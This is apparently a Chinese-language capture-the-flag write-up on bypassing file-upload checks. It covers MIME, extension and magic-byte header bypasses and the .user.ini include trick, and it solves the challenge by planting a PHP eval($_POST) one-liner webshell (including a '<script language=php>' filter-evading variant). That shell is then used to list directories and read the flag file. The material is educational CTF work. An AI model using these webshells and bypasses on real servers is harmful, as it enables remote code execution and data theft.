文件上傳
文件上傳一般驗證方式:
1.本地js驗證(客戶端)
2.MIME驗證(服務端)
3.拓展名驗證(服務端)
4.腳本內容(文件頭)驗證(服務端)
通常會用到exif_imagetype()函數,這個函數會讀取圖片頭並返回一個數組
繞過方法:
1.本地js驗證
方法很多,直接f12刪除限制的代碼再提交表單
2.mime驗證
抓包修改content-type的內容就行了 一般這個驗證對應得驗證代碼如下
$_FILES['upfile']['type'] == 'image/gif' //png、jpg.....
3.拓展名驗證
多找一些,嘗試找到有沒有服務器漏掉得,比如php5,php7
大小寫看能否能繞過
0x00繞過
4.文件頭驗證
修改文件頭
JPG :FF D8 FF E0 00 10 4A 46 49 46 //參考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
PNG: 89 50 4E 47 //參考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
GIF(相當於文本的GIF89a):47 49 46 38 39 61 //參考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
上傳圖片馬
###但注意一個問題,上傳圖片馬直接訪問還是不能執行代碼,因為根本不會調用php解析器去解析,一般要配合文件包含漏洞,或者是解析漏洞
##文件上傳漏洞一般會和解析漏洞相結合,比如iis6.0就有一個漏洞會把.cer文件當作php執行,這種類似得解析漏洞可以在網上尋找
參考一片文件上傳得繞過博客:
https://blog.csdn.net/ncafei/article/details/53401961
回到這道題:
隨手丟一張圖片,發現返回一串數組
可以猜測這里采用得是文件頭驗證,可以制作圖片馬繞過。
但是,圖片馬需要配合解析漏洞或者是文件包含漏洞,這里用到.uesr.ini配置文件制造了一個文件漏洞 //這道題沒有限制 相似漏洞還有apache得.htaccess文件修改解析規則
https://wooyun.js.org/drops/user.ini文件構成的PHP后門.html
推薦這個文章,里面講到怎么利用
上傳.user.ini文件 ##但是注意這里需要偽造文件頭
上傳一句話圖片木馬
第一次一句話我寫得<?php @eval($_POST['a'])?>
發現 <?被過濾 ,這里只需要還一句話就行了 <script language="php">eval($_POST['a']);</script>
//圖片轉載 kk師傅 https://www.yuque.com/kkdlong/arhmr1/rv2kpf#MjehS
上傳后上傳圖片馬 制作方法
cmd copy /b 1.jpg+1.txt test.jpg //注意圖片名要和user.ini里面得文件名相同
然后上傳
然后直接菜刀連接拿到答案
或者直接輸入命令 post a=var_dump(scandir("/"));
a=var_dump(file_get_contents("/flag"));